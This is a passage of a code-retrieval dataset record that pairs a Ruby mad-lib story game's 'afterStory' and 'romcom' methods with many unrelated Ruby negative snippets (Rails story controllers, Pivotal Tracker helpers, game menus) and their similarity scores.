like to view another selection (yes/no)\"\n view_another?\n end", "def choose_player\n case @name\n when 'R2D2' then rtwodtwo\n when 'Hal' then hal\n when 'Chappie' then chappie\n end\n end", "def chosen_drink_category\n @user_delivery_preferences = DeliveryPreference.find_by_user_id(self.id)\n if @user_delivery_preferences.beer_chosen == true\n return \"beer\"\n elsif @user_delivery_preferences.cider_chosen == true\n return \"cider\"\n end\n end", "def winner\n @words.first\n end", "def show\n @choice_1 = (@situation.choice_1 && @situation.choice_1 != 0) ? @situation.choice_1 : \"new?oid=#{@situation.id}&obutton=1\"\n @choice_2 = (@situation.choice_2 && @situation.choice_2 != 0) ? @situation.choice_2 : \"new?oid=#{@situation.id}&obutton=2\"\n @choice_1_label = @situation.choice_1_label\n @choice_2_label = @situation.choice_2_label\n end", "def show\n\t\t# params[:id] is the number in the url that we are looking for\n\t\t# @story = Story.find(params[:id])\n\t\t\n\tend", "def choose(human)\n @choice = ''\n learn(human.history, self, RPSGame.game_count)\n @move_history << @choice\n self.move = Move.new(@choice)\n end", "def find_story\n\t\t@story = Story.find(params[:id])\n\tend", "def print_winning_message(winning_choice)\n case\n when 'Rock'\n say('Rock smashes scissors!')\n when 'Paper'\n say('Paper covers rock!')\n when 'Scissors'\n say('Scissors cuts paper!')\n end\nend", "def select_option\n print_menu\n @choice = gets.chomp\n perform_selection\n end", "def choice_a_battle\n use_item_in_battle\n end", "def get_trilogy_fact_choice\n sleep 1\n puts \"\\n\n Please enjoy the following Trilogy facts! Type 'end'\\n\n at any point to return to the main menu. Enter the\\n\n number that precedes your choice:\\n\n 1. Most talkative character in the trilogy.\\n\n 2. Least talkative character in the trilogy.\\n \"\n valid_response = false\n until valid_response\n input = gets.chomp.to_i\n if input == 1\n sleep 1\n puts \"\\n\n Thank you. Calculating most talkative character:\"\n valid_response = true\n elsif input == 2\n sleep 1\n puts \"\\n\n Thank you. Calculating most talkative character:\"\n valid_response = true\n else\n sleep 1\n puts \"\\n\n Invalid input. Please enter '1' or '2'\"\n end\n end\n input\n end", "def find_story\n\t\t@story = Story.find(params[:id])\n\t\t\n\tend", "def find_story\n @story = Story.find(params[:id])\n end", "def choice(message, choices)\n default = default(choices)\n message = message + \" [\" + choices.split('').join('/') + \"] ? \"\n if non_interactive and default.nil?\n raise \"--yes fails because '#{choices}' has no default value for question '#{message}'\"\n elsif non_interactive\n puts message + default\n return default.downcase\n else\n value = ask(message, String) { |q| q.in = choices.downcase.split(\"\"); }\n return value.downcase\n end\n end", "def provide_user_option \r\n @user_choice = user_input \"\\nWhat would you like to do?\\nPress 1 to pick a file and play normally\\nPress 2 to play file in reverse\\nPress 3 if you'd like to exit\\n\"\r\nend", "def find_story\n @story = Story.find(params[:id])\n end", "def choose\n \n end", "def determine_what_comp_picks\n random = [1,2,3].shuffle\n choice = random[0]\n\n if choice == 1\n comp_picked = \"Paper\"\n elsif choice == 2\n comp_picked = \"Rock\"\n elsif choice == 3\n comp_picked = \"Scissors\"\n end\n\nend", "def check_main_menu_choice(given_choice)\n if given_choice == \"First Time User, Want To Register\"\n choice = 1\n end\n if given_choice == \"Already A Registered User, Want To Login\"\n choice = 2\n end\n if given_choice == \"Do Not Wish To Register, Just Browsing\"\n choice = 3\n end\n if given_choice == \"Looking For Info About The App\"\n choice = 4\n end\n if given_choice == \"Nothing Really, Spare Me Your @?%#&?|%!\"\n choice = 5\n end\n choice\nend", "def ai_selection\n @acceptable_choices.sample\n end", "def meal_choice(meal = \"meat\") #assigning a default value\n return \"#{meal}\" #returns the argument\nend", "def selected_game\n game_type = params['neural_network_data']['game_type']\n return LottoGame if game_type == 'lotto_game'\n return MultiGame if game_type == 'multi_game'\n end", "def show\n if @story.published == false && @story.user != current_user\n redirect_to stories_url, alert: 'We are sorry, but there was no story found at that URL.'\n end\n end", "def show\n @story = Story.find(params[:id])\n end", "def secret_menu\n puts \"\"\n options = [\"View Character Dictionary\", \"View Spellbook\", \"View House\", \"View Classmates\", \"Quit\"]\n choice = PROMPT.select(\"Welcome to Hogwarts. Feel free to explore the following:\", options)\n case choice\n when options[0]\n character_dictionary\n when options[1]\n which_user_spellbook_and_path?\n secret_menu_or_quit\n when options[2]\n house_info\n secret_menu_or_quit\n when options[3]\n user_classmates\n when options[4]\n goodbye\n end\n end" ]
[ "0.6743722", "0.6520691", "0.6262329", "0.61053485", "0.60530037", "0.6051577", "0.5922977", "0.5918739", "0.5847805", "0.5835248", "0.5721274", "0.57099634", "0.56107736", "0.5610764", "0.56018496", "0.55739796", "0.5573249", "0.5570595", "0.55638933", "0.55550295", "0.55021006", "0.55012995", "0.54961795", "0.5493032", "0.5476309", "0.5469278", "0.5453932", "0.5449021", "0.5444038", "0.54426885", "0.5442258", "0.54409814", "0.54300725", "0.5400856", "0.53957456", "0.53892004", "0.53743774", "0.53707176", "0.5356488", "0.5346108", "0.5341018", "0.53325987", "0.53271425", "0.53271425", "0.5312582", "0.53078055", "0.53069144", "0.53047353", "0.53015137", "0.52956384", "0.52921265", "0.52903354", "0.52888656", "0.5284586", "0.5265363", "0.5265015", "0.52603036", "0.52369606", "0.52297336", "0.522937", "0.5227129", "0.5222218", "0.52156794", "0.521392", "0.5213697", "0.5200415", "0.519973", "0.5198728", "0.5190868", "0.5187513", "0.51758343", "0.51640487", "0.515827", "0.515744", "0.51569164", "0.51568043", "0.5155948", "0.51467526", "0.51426965", "0.5139912", "0.51375973", "0.51363736", "0.5132522", "0.5131012", "0.51301104", "0.51285285", "0.5123955", "0.5118014", "0.51166177", "0.51140594", "0.51076007", "0.5103324", "0.50994915", "0.50993896", "0.5096576", "0.5094187", "0.50925803", "0.50854963", "0.5084882", "0.50801224" ]
0.6438637
2
runs after a story completes
def afterStory(username) puts " Would you like to hear another story?" playagainyesorno = gets.chomp.downcase case playagainyesorno when 'yes', 'yes please', 'yup' puts "Great!" puts "Your choices are: Rom-Com, Cop Story, or Sci-Fi." choosestory(username) when 'no', 'nope', 'no way' puts " Okay, goodbye!" else puts "I don't know what you said! " afterStory(username) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def after_finished\n end", "def action_complete() self.finished = true; end", "def completed()\n end", "def run_completed\n end", "def finish\r\n #\r\n end", "def finish\n #\n end", "def finish_story(project_id, story_id)\n begin\n set_super_token\n story = PivotalTracker::Story.find(story_id, project_id) \n case story.story_type\n when 'feature'\n story.update( :current_state => 'finished' )\n when 'bug'\n story.update( :current_state => 'finished' )\n when 'chore' \n story.update( :current_state => 'accepted' )\n end\n rescue => e \n raise PivotalTrackerError.new(\"Can't finish the story id:#{story_id}. \" + e ) \n end\n end", "def finish\n end", "def finished; end", "def completed\n end", "def finish\n #\n end", "def finish\n @time = 0.0\n @trigger.()\n end", "def finish()\n #This is a stub, used for indexing\n end", "def finish\n noth\n end", "def finish; end", "def finish; end", "def finish; end", "def finish; end", "def finish; end", "def finish; end", "def finish; end", "def finish; end", "def done!\n # Do nothing\n end", "def done!\n # Do nothing\n end", "def done\n end", "def done\n end", "def complete\n end", "def done\n get_stories_by_iteration(\"done\")\n end", "def done; end", "def after; end", "def after; end", "def done\n # Do nothing.\n end", "def finish\n @finish = true\n end", "def wrapup # :nodoc:\n log \"Finishing\"\n end", "def completed(build, listener)\n end", "def after_resolution\n end", "def after_wiki_activity\n end", "def complete!\n status \"Success\"\n self\n end", "def after\n end", "def finish\n @Done = true \n end", "def test_run_completed(test_run)\n report_results test_run\n end", "def after_recorded\n end", "def after\n end", "def after\n end", "def complete!\n @completed = true\n @completed_at = Time.now\n end", "def complete!(_outcome = nil)\n @playground.logger.info \"vanity: completed experiment #{id}\"\n return unless @playground.collecting?\n\n connection.set_experiment_completed_at @id, Time.now\n @completed_at = connection.get_experiment_completed_at(@id)\n end", "def after_test(_test); end", "def after_test(_test); end", "def after_test(_test); end", "def done\r\n @done = true\r\n end", "def after\n end", "def finish\n finish_hunk\n end", "def finish\n close_agent\n end", "def completed_it\n self.complete = true\n end", "def batch_finished\n end", "def on_completion(actor); end", "def complete\n state_change(:complete) if transition.trigger?(:complete)\n add_save_notifications\n run\n clear_state_notifications\n end", "def after_processing\n end", "def done?; true end", "def complete?; end", "def done\nend", "def done!\n @done = true\n end", "def done\n @done = true\n end", "def complete!\n @completed_at = Time.now\n end", "def complete!\n @completed_at = Time.now\n end", "def finish!\n Todoable.client.put(\"#{path}/finish\")\n true\n end", "def after() nil ; end", "def _on_completion\n\t\t\tself.update_attribute(:completed_at, DateTime.now)\n\t\t\tassignments.update_all(completed_at: DateTime.now)\n\t\t\tresolver.on_completion(self)\n\t\tend", "def done?; end", "def master_done!\n @done = true\n specification! true\n summarize_performance!\n \t\tsummarize_results! @results\n \t\tcleanup!\n \t\t#Notify.completed @experiment\n\n \t\t#sleep 1\n #DRb.stop_service\n end", "def post_task\n end", "def testing_end\n end", "def finished=(_arg0); end", "def handlers_completed\n end", "def finish\n true\n end", "def finished\n @finished = true\n end", "def do_run\n ready\n aim\n fire!\n end", "def finalize_game\n\n end", "def finished?; @finished; end", "def on_test_step_finished(event)\n update_block = proc do |step|\n step.stage = Allure::Stage::FINISHED\n step.status = ALLURE_STATUS.fetch(event.result.to_sym, Allure::Status::BROKEN)\n end\n\n event.test_step.hook? ? handle_hook_finished(event.test_step, update_block) : handle_step_finished(update_block)\n end", "def finalize!\n update_attribute(:completed_at, Time.now)\n end", "def after_tours; end", "def after(datum); end", "def after(datum); end", "def done\n puts \"Done\"\n end", "def after_roll\n end", "def finish(_result)\n end", "def after\n\t\t\ttrue\n\t\tend", "def recipe_load_complete\n puts 'done.'\n end", "def finish\n @ole.Finish\n end", "def finishMissionInit \n \"finishMissionInit\" \n end", "def done(command)\n end", "def at_end; end", "def finish\n\tmanager.flush\n end", "def setup_complete\n puts green(\"Setup complete\")\n end", "def finish!\n send_results()\n self.current_question_index = nil\n save()\n end", "def after_transition(*args, &block); end", "def done\n puts \"done: #{@item_url}\"\n end", "def performed?; end", "def performed?; end", "def on_investigation_end; end" ]
[ "0.6893212", "0.6826164", "0.67688644", "0.6762992", "0.6592162", "0.6580112", "0.65235823", "0.65175605", "0.6510392", "0.649743", "0.64848065", "0.6462638", "0.64126694", "0.63709927", "0.63547385", "0.63547385", "0.63547385", "0.63547385", "0.63547385", "0.63547385", "0.63547385", "0.63547385", "0.6347146", "0.6347146", "0.6320671", "0.6320671", "0.6316113", "0.6272825", "0.62660384", "0.6249608", "0.6249608", "0.6212035", "0.6191576", "0.61890024", "0.6154852", "0.6141166", "0.6134612", "0.60954165", "0.6090671", "0.6076602", "0.60504377", "0.60225296", "0.6016751", "0.6016751", "0.6014136", "0.5997433", "0.5995705", "0.5995705", "0.5995705", "0.5989122", "0.5988945", "0.5987911", "0.5980612", "0.5974319", "0.59718", "0.59683", "0.59385324", "0.5937862", "0.59292954", "0.59279424", "0.59114206", "0.5907697", "0.5899695", "0.5872099", "0.5872099", "0.58716786", "0.5863903", "0.58466685", "0.5842715", "0.58421004", "0.5839379", "0.5829205", "0.58129853", "0.58089846", "0.5807894", "0.57966346", "0.57902926", "0.5789748", "0.5781132", "0.5776762", "0.5762529", "0.5756245", "0.57478464", "0.57478464", "0.5739631", "0.57349914", "0.57340574", "0.57300866", "0.57266986", "0.57204515", "0.5708243", "0.5698805", "0.5689175", "0.5686756", "0.568297", "0.56808984", "0.56797713", "0.5679037", "0.5678734", "0.5678734", "0.5666242" ]
0.0
-1
Individual stories (madlib portion)
def romcom(username) puts "Sweet!" puts " Okay, now a few questions for you." puts " Choose a pastry." romcomPastry = gets.chomp puts " Yum. Ok, now name a large city." romcomCity = gets.chomp.capitalize puts " What is your dream job? (i.e. hairstylist!)" romcomProfession1 = gets.chomp puts " On the flip side, what job would be THE worst? (i.e., telemarketer)" romcomProfession2 = gets.chomp puts " Who is your sassiest friend?" romcomFriend = gets.chomp.capitalize puts " Who is your favorite fashion designer?" romcomDesigner = gets.chomp.capitalize puts " Who do you think is a total hottie?" romcomCrush = gets.chomp.capitalize puts " Choose a breed of dog." romcomDog = gets.chomp puts " Name a tropical island." romcomDestination = gets.chomp.capitalize puts " Sweet. Here comes your story. PRESS ENTER TO CONTINUE." continue = gets.chomp puts" -------------- * ROM-COM STORY * ----------------- You're a quirky young #{romcomProfession1} with a great group of friends, a promising career, an adorable #{romcomDog} named Triscuit, and a beautiful apartment that overlooks downtown #{romcomCity}. On the surface, you seem to have it all..." continue = gets.chomp print " but your love life is a total mess!" continue = gets.chomp puts " Your bff, #{romcomFriend}, keeps trying to set you up on blind dates, but you always seem to find a silly excuse not to go." continue = gets.chomp puts " One day, while running late to a conference, you have a chance meeting with #{romcomCrush}... a particularly annoying #{romcomProfession2} who is quite possibly the most arrogant person you've ever met. You find out that this moron's company is next door to yours." continue = gets.chomp puts " You tell #{romcomCrush} that they are a total turd #{romcomPastry} and if they ever speak to you in public again, you will punch them in the face!" continue = gets.chomp puts " What a morning. When you finally get to work, you have a voicemail." continue = gets.chomp puts " You find out that your friend is being sent on location to work a private party for #{romcomDesigner} in #{romcomDestination}!" continue = gets.chomp puts " #{romcomFriend} has recieved a plus-one ticket to the show and kindly invites you to come, too. You deliberate on whether it's worth the price, but since you haven't left #{romcomCity} in God knows how long, you decide you will say yes." continue = gets.chomp puts " The day finally arrives for the trip!" continue = gets.chomp puts " To your shock, on the plane, who do you end up sitting next to but that ridiculous #{romcomProfession2}?! As it turns out, #{romcomCrush}'s sister happens to live in #{romcomDestination} and #{romcomCrush} is heading to the exact same hotel as yours for a family reunion... Can things possibly get any worse?!" continue = gets.chomp puts " A series of hilarious events are bound to ensue on this exotic, tropical paradise... -----------------------------------" continue = gets.chomp afterStory(username) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def stories\n @stories ||= Stories.new(data)\n end", "def stories ; @stories || get_stories ; end", "def stories ; @stories || get_stories ; end", "def stories\n @stories.keys.each_with_index.map { |story_name, i| get_story(story_name, i) }\n end", "def get_stories\n api_url = \"#{CONFIG[:api_location]}/projects/#{@id}/stories\"\n @stories = (Hpricot(open(api_url, {\"X-TrackerToken\" => @token.to_s}))/:story).map {|story| Story.new(:story => story, :project_id => @id, :token => @token)}\n end", "def get_mashable_stories\n\n\ts = JSON.load(RestClient.get('http://mashable.com/stories.json')) \n\ts[\"hot\"].map do |story|\n\ts = {story: story[\"title\"], category: story[\"channel\"]}\n\tget_upvotes(story)\n\tdisplay_new_story\n\tstory\n\tend\nend", "def stories() @stories = Stories.new end", "def stories\n stories_with_state('started')\n end", "def link_stories! \n story_ids = find_all_story_ids\n return if story_ids.empty?\n\n message = \"### Clubhouse Stories\\n\\n\"\n story_ids.each do |id|\n message << \"* [#{story_link(id)}](#{story_link(id)}) \\n\"\n end \n markdown message\n end", "def story(story_content)\n story_content = story_content.strip.split(/[ \\t]*\\n+[ \\t]*/).map {|line| \" #{line}\\n\" }.join \n #metadata[:example_group][:description] << \"\\n\"+story_content+\"\\n\"\n metadata[:example_group][:full_description] << \"\\n\"+story_content+\"\\n\"\n end", "def stories\n project.stories_in_iteration(self)\n end", "def get_stories\n api_url = \"#{CONFIG[:api_url]}projects/#{@id}/stories\"\n @stories = (Hpricot(open(api_url, {\"X-TrackerToken\" => @token.to_s}))/:story).map {|story| TrackR::Story.new(:story => story, :project_id => @id, :token => @token)}\n end", "def stories\n @stories ||= DataStore.stories_for_project(self)\n end", "def get_story\n return @story\n end", "def parse_story(story)\n Story.new story[\"title\"], story[\"url\"], @media, story[\"created_at\"], story[\"excerpt\"]\n end", "def index\n # description of @stories is not necessary - it is handled by decent_exposure\n end", "def shared_stories\n self.joined_stories + self.written_stories\n end", "def stories_list\n @stories.values\n end", "def stories_in_iteration(iteration)\n stories.in_iteration(iteration)\n end", "def story() @story = Story.new end", "def stories(options = {})\n stories = if options[:id]\n [@project.stories(options[:id]).get.payload]\n else\n @project.stories.get(params: options)\n end\n stories = stories.map { |s| Story.new(s, @project) }\n stories.select(&:estimated)\n end", "def get_story(name, index)\n body = Zip::File.open(@idml_file.path, false) do |zip|\n story_data = zip.get_entry(@stories[name]).get_input_stream.read\n story_xml = Nokogiri::XML(story_data) {|cfg| cfg.noblanks}\n story_xml.xpath('/idPkg:Story/Story').to_s\n end\n OpenStruct.new(\n :name => name,\n :body => body,\n :body_as_html => CodeRay.scan(body, :xml) \\\n .div(\n :line_numbers => :table,\n :css => :class,\n :line_number_anchors => \"story_#{ index+1 }_line_\"\n ),\n :length => body.length\n )\n end", "def getStory(url, provider_id, category_id, b_related)\n \t# Story Id\n \tif provider_id == 2 # Youm7\n\t\tstory_id = url.split(pattern=\"=\")[-1]\n\telse\n\t\tstory_id = url.split(pattern=\"/\")[-1]\n\tend\n\t\n\t# not saving already exist story\n\tif Story.exists?(:story_id => story_id) #>\n\t\treturn\n\tend\n\t\n\t# Image, Details and related\n\timage_details_and_related = getImageUrlAndDetails(url, provider_id, category_id, TRUE)\n\t\n#\tputs [story_id,\n#\t\t\timage_details_and_related[4],\t# title\n#\t \t\timage_details_and_related[0],\t# img\t\n#\t\t\timage_details_and_related[1],\t# details\n#\t\t\timage_details_and_related[2],\t# related1\n#\t\t\timage_details_and_related[3]]\t# related2\n\n\t\tStory.create(:story_id => story_id, :provider_id => provider_id, :category_id => category_id, :url => url, :title => image_details_and_related[4], :details => image_details_and_related[1], :img => image_details_and_related[0], :relate1 => image_details_and_related[2], :relate2 => image_details_and_related[3])\nend", "def leech_story_info\n doc = Nokogiri::HTML(open(\"#{FicSourceURL}/s/#{@fic_id}\"), \"UTF-8\") \n # get author name\n author = doc.xpath(\"//table[@id='gui_table1i']/tbody/tr[1]/td[1]/a[1]\").first.inner_text\n # get story title\n title = doc.xpath(\"//table[@id='gui_table1i']/tbody/tr[1]/td[1]/b[1]\").first.inner_text\n {:title => title, :author => author}\n end", "def show\n @stories = @group.stories\n end", "def get_input_mashable(stories)\n response = JSON.parse(RestClient.get 'http://mashable.com/stories.json')\n response['new'].each do |story|\n story[:title] = story['title']\n story[:category] = story['channel']\n stories << {s_title: story[:title], s_story: story[:category]} \n end \n stories\nend", "def get_stories_by_iteration(name)\n case name\n when \"icebox\"\n api_url = \"#{CONFIG[:api_url]}projects/#{@id}/stories?filter=current_state%3Aunscheduled\"\n else\n api_url = \"#{CONFIG[:api_url]}projects/#{@id}/iterations/#{name}\"\n end\n @stories = (Hpricot(open(api_url, {\"X-TrackerToken\" => @token.to_s}))/:story).map {|story| TrackR::Story.new(:story => story, :project_id => @id, :token => @token)}\n end", "def story\n\t @story_hash = {\n\t\t\t\"start\" => \"You are in a junk store in South America, when you stumble upon the journal of Sir Reginald Higginbotham, the famous explorer, who disappeared many years ago, searching for the lost treasure of Z. Sir Reginald was last seen in this very town, and what happened to him has long been a mystery. No one had found a trace of even his leather hat. Leafing through the pages, you find that many of the pages are smeared and difficult to read. You can make out a few words. Most interesting of all is a sketch in the back of the book.\",\n\n\t\t\t\"start2\" => \"Could this be a map to the treasure? Do you dare try and find it? Will you avoid the fate of Sir Reginald??? To search for the treasure, type yes and press enter. If you choose not to go on the hunt, type no and press enter.\",\n\n\t\t\t\"start_no\" => \"You decide to ignore the clues in the journal. While you live a long and eventful life, you always wonder what would have happened if you had found the treasure....\",\n\n\t\t\t\"start_yes\" => \"The first step in your treasure hunt is to find a guide. You ask around in the town, and everyone mentions that Atilio knows the jungle better than anyone. He agrees to help you in your quest. When you show him the drawing, he knows of a place where three such rocks are close to a river. He is willing to bring you to the spot, although he will not cross the river, because he says that land is cursed. You and Atilio gather supplies - the few readable pages from the journal, water, a flashlight, nuts. You plan to gather more food along the way, as there is plenty available in the jungle.\",\n\n\t\t\t\"jungle\" => \"You enter the jungle. As you walk, you marvel at the plants and animals around you. You see bananas, mangoes, papayas, guava, dragonfruit, and starfruit. You decide to gather fruit for your journey. What type of fruit do you want to pick up? Type the fruit name (as many as you want) - type exit when complete.\",\n\n\t\t\t\"river\" => \"As you walk, Atilio tries to convince you not to cross the river. He tells you stories of those who had disappeared beyond its banks, never to return again. He says those few warriors who returned all told crazy stories of red eyes and wide yellow mouths. When you finally reach the wide, deep river, you see two options for getting across. There is a rickety rope bridge or a dilapidated boat. Which crossing will you choose? Type boat or bridge.\",\n\n\t\t\t\"boat\" => \"Atilio still refuses to cross the river, so you say farewell. You pick up a branch to use as a pole and climb into the boat. The boat leaks a tiny bit, but your pole works fairly well. You are making good progress when suddenly you see an angry hippo coming towards you! You attempt to fend him off with your pole, but 3,300 pounds of aggression is far too much to fight, and your boat is capsized....\",\n\t\t\t\n\t\t\t\"boat1\" => \"As your boat tips over, the edge of it hits you in the head. You dazedly attempt to swim for shore, but the water is too deep and wide, and instead you drown.\",\n\n\t\t\t\"boat2\" => \"You aren't too far from shore when the boat tips over. You manage to swim away while the hippo is still distracted by the boat. You crawl out of the water, relieved to be on shore. Luckily, your pack is still securely attached to you. After recovering for a while on the riverbank, you begin to hike towards a mound in the distance. As you approach, you realize it's a stone temple covered with vines. It looks like you've found the location from the map!\",\n\n\t\t\t\"boat3\" => \"You are knocked unconscious as the boat is overturned. Luckily, you get caught in your branch with your head above water. You drift downstream, eventually washing ashore on a little beach. You are found by some local people - you have no belongings and no memory of what you were doing in South America. They nurse you back to health, and eventually you return home, always wondering how you'd ended up in the river.\",\n\n\t\t\t\"bridge\" => \"Atilio still refuses to cross the river, so you say farewell. You inch your way onto the rope bridge, constantly testing each step. You are moving very slowly along, when you notice that the ropes seem to swaying more and more. You take a quick glance behind you, and notice that the rope appears to be about to break. You speed up, in a desperate race to make the other side. You leap off the bridge and make it to the edge just as the last rope breaks. You are very relieved to be on solid ground. After a short rest, you begin to hike towards a mound in the distance. As you approach, you realize it's a stone temple covered with vines. It looks like you've found the location from the map!\",\n\n\t\t\t\"temple1\" => \"As you approach the temple, you see an opening in the vines. Suddenly, you are startled to feel something hit you in the shoulder. You look up and notice a troop of monkeys throwing grass and small stones at you. You have to make your way past the monkeys to get into the temple - how can you distract them??\",\n\n\t\t\t\"temple2\" => \"The monkeys are excited to see your gift. As they move away to investigate, you step inside and pull out your flashlight. Your eyes adjust to the dim light, and you start down a corridor. The walls are covered with a pattern of six repeating colors - three reds, yellow, blue and black. After a few yards, you find an antechamber with three openings. Which opening should you choose? Type left, center or right.\",\n\n\t\t\t\"temple_hall_left\" => \"The passageway seems to have a dim light in the distance. As you enter, you find it slants steeply downhill. The path underfoot is uneven, and you trip. You reach out to try and stop your forward motion, but instead tumble and slide down the slope until you fall right off an edge. You land, badly injured, in a large pit. A small beam of sunlight shines from a chink in the stones up near the ceiling. As you look around in a daze, your glance falls upon a skeleton with a leather hat. As you start to pass out, you realize both that you've solved the mystery of Sir Reginald's fate, and that you will soon share it....\",\n\n\t\t\t\"temple_hall_center\" => \"As you move along the passage, you see signs that others have passed this way before you. The passage is partially blocked, but you are able to wind your way through it. You enter a chamber and are dismayed to discover that any treasure that might once have been contained inside is long gone. There are a few broken bits that might once have been statues, but nothing else. You do your best to explore the other passages, but they are totally blocked by fallen stones. While you live a long and happy life, you always wonder what would have happened if you'd found the treasure....\",\n\n\t\t\t\"temple_hall_right\" => \"You shine your light into the passageway. You see that it has many fallen rocks, but you think you can make your way through. You scramble over and around the rocks, eventually dead-ending in another hallway. You can make out two doors. One has some kind of mask above it, and the other has a pattern that looks like a shield. Type shield or mask to go toward that door.\",\n\n\t\t\t\"shield\" => \"You come to a door and open it. You peer into the dark haze and creep inside. You start to feel slightly woozy. Suddenly you catch sight of giant glowing red eyes and a gaping yellow maw looming toward you. You step back in horror. Is it moving towards you? Terrified, you try to get out of the room, but you trip and fall. The air by the floor is less misty, and your mind clears a bit. You need to get out of this air! You crawl slowly out of the room, and in the clear air of the hallway, you realize that the face was merely an enormous stone statue. The mist must have somehow caused you to hallucinate. No wonder the warrriors were so terrified! You try to go down the hallway in the other direction, but the passage is completely blocked by fallen rocks. You can't find any way through, and you finally make your way back across the river to town, always wondering what would have happened if you'd found the treasure.\",\n\n\t\t\t\"hall2_mask\" => \"As you approach the door, you see a complex series of colored stones in red, black, yellow, and blue. You push on the door but can find no way to open it. As you poke and prod, you discover that some of the stones can be moved. Perhaps they form some kind of combination lock! But what could the lock be? You must think of how many stones to press and which colors....\",\n\n\t\t\t\"treasure_room\" => \"You hear a loud click. When you push against the door, it opens. You enter the room, amazed at the glint of jewels and gold around the room. You found the treasure! You carefully place a small but beautiful stone idol with ruby eyes into your pack. You leave the temple and make your way downstream until you can cross the river. Back in town, you contact the local university to tell them of your find. You are granted a huge finder's fee and widely celebrated for one of the greatest archaeological finds of the last fifty years. After spending some time in the area, you set off again - how will you top this adventure??\"\n\n\t\t}\n\tend", "def print_story(story)\n puts \"Headline: #{ story[:story] }\"\n puts \"Category: #{ story[:category] }\"\n puts \"Upvotes: #{ story[:upvotes] }\"\n\nend", "def set_story\n @story = Story.includes(:user, :extends).find(params[:id])\n end", "def fresh_stories\n get_data(\"stories/fresh\")\n end", "def index\n @stories = Story.all\n end", "def index\n @stories = Story.all\n end", "def index\n @stories = Story.all\n end", "def index\n @stories = Story.all\n end", "def index\n @stories = Story.all\n end", "def index\n @stories = Story.all\n end", "def index\n @stories = Story.all\n end", "def get_stories(stories_number=10)\n# querying the related stories to the passed interest and take only the number given in the method\n self.stories [0..stories_number-1]\n end", "def get_stories(stories_number=10)\n# querying the related stories to the passed interest and take only the number given in the method\n self.stories [0..stories_number-1]\n end", "def story(id)\n Story.new(:story_id => id, :project_id => @id, :token => @token)\n end", "def find_story\n @story = Story.friendly.find(params[:id])\n @film = @story.films.new\n @films = @story.films.all\n end", "def green_stories\n get_data(\"stories/green\")\n end", "def set_story\n @story = Story.find(params[:id])\n @tags = @story.tags\n end", "def get_stories(number_of_hours)\n date_range_start = Time.now-number_of_hours.hours\n words = Word.where(\"name = ? and story_date > ?\", self, date_range_start)\n stories = []\n words.each do |w|\n stories << w.story\n end \n return stories\n end", "def print_s1\n stories.each do |story|\n show_new_story_notification(story[:title], story[:category], story[:upvotes])\n end\nend", "def find_story\n stories=self.community.stories.order(\"created_at DESC\")\n if stories.size>0\n new_last=stories[0].id\n new_stories=[]\n time=[]\n stories.each do |story|\n if story.id!=self.last_examined_story\n if story.content?\n if story.content.include?((self.first_name || \"\")+\" \"+(self.last_name || \"\"))\n puts story.title\n new_stories << {\"story_url\"=>story.url,\"title\"=>story.title,\"summary\"=>story.summary}\n time << story.created_at\n end\n end\n else\n break\n end\n end\n\n self.stories_count=time.size+self.stories_count\n self.old_stories=self.old_stories+new_stories\n #if self.stories_count>0 && self.\n self.last_story_time=time[0] unless time.size==0\n self.last_examined_story=new_last\n self.save\n end\n\n self.old_stories\n end", "def index\n @audio_stories = AudioStory.all\n end", "def show\n @stories = Story.find_by(id: params[:id])\n \n end", "def show\n @story = Story.find(params[:id])\n\n # Set meta information\n @page_title = @story.title\n @page_description = @story.subtitle\n\n if Arrowhead.is_arrowhead_story? @story\n @arrowhead_stories = Arrowhead.stories\n @i = @arrowhead_stories.find_index(@story)\n if @i\n @prev = @i > 0 ? @i - 1 : nil \n @next = @i < @arrowhead_stories.length - 1 ? @i + 1 : nil\n end\n set_meta_tags :og => {\n :title => @story.title,\n :description => @story.subtitle,\n :type => 'article',\n :url => url_for(@story),\n :image => URI.join(root_url, view_context.image_path('arrowhead_ogimage.jpg'))\n }\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story.to_json(:include => { :scenes => { :include => :paragraphs }}) }\n end\n end", "def index\n @in_play_stories = current_user.in_play_stories\n @friends_stories = current_user.finished_friends_stories\n @top_stories = current_user.top_stories\n @your_stories = current_user.finished_own_stories\n end", "def story(id)\n TrackR::Story.new(:story_id => id, :project_id => @id, :token => @token)\n end", "def stories(per_page: 20, options: {})\n params = { limit: per_page }.reject { |_,v| v.nil? || Array(v).empty? }\n Collection.new(parse(client.get(\"/tasks/#{gid}/stories\", params: params, options: options)), type: Story, client: client)\n end", "def fetch(page=nil)\n regenerate_feed! unless cached?\n $redis.expire @feed_key, INACTIVE_DAYS * 24 * 60 * 60\n\n page ||= 1\n start_index = 30 * (page.to_i-1)\n stop_index = start_index + 30 - 1\n\n story_ids = $redis.zrevrange(@feed_key, start_index, stop_index).collect(&:to_i)\n\n stories = Story.where(id: story_ids, :target_type => 'Anime').for_user(@user).includes(:user, :substories, target: :genres, substories: :user)\n stories += Story.where(id: story_ids).where('target_type <> ?', 'Anime').for_user(@user).includes(:user, :substories, :target, substories: :user) if story_ids.length > stories.length\n\n stories.sort_by {|s| story_ids.find_index s.id }\n end", "def load_stories(include_mode=:none)\n new_ctx = @ctx.clone\n new_ctx[:feature_id] = @id\n file_path_pattern = File.join(@rootpath, 'stories/*/*.rb')\n\n stories = Marso.load_components(:story, file_path_pattern, new_ctx)\n .map { |s| include_mode == :with_scenarios ? s.load(:scenario_contexts) : s}\n\n new_description = @description.clone\n new_description[:stories] = stories\n return Feature.new(new_description, new_ctx)\n end", "def index\n @story_pages = StoryPage.all\n end", "def stories_page\n @stories_page = DefaultAd.find(2) \n @stories_page_left_top = DefaultAd.find(3) \n @stories_page_left_bottom = DefaultAd.find(4) \n @stories_page_right = DefaultAd.find(5) \nend", "def stories(query = {})\n Request.new(self, '/cdn/stories', query).get\n end", "def stories(query = {})\n Request.new(self, '/cdn/stories', query).get\n end", "def story(name, &block)\n\t\t\t@sprint.stories << Story::Builder.new(name).build(&block)\n\t\tend", "def get_from_mashable\n route = 'http://mashable.com/stories.json'\n raw_response = RestClient.get route\n response = JSON.load raw_response\n response[\"hot\"].map do |story|\n story_hash = {\n title: story[\"title\"],\n score: story[\"shares\"][\"total\"],\n category: story[\"channel\"],\n author: story[\"author\"]\n }\n end\nend", "def 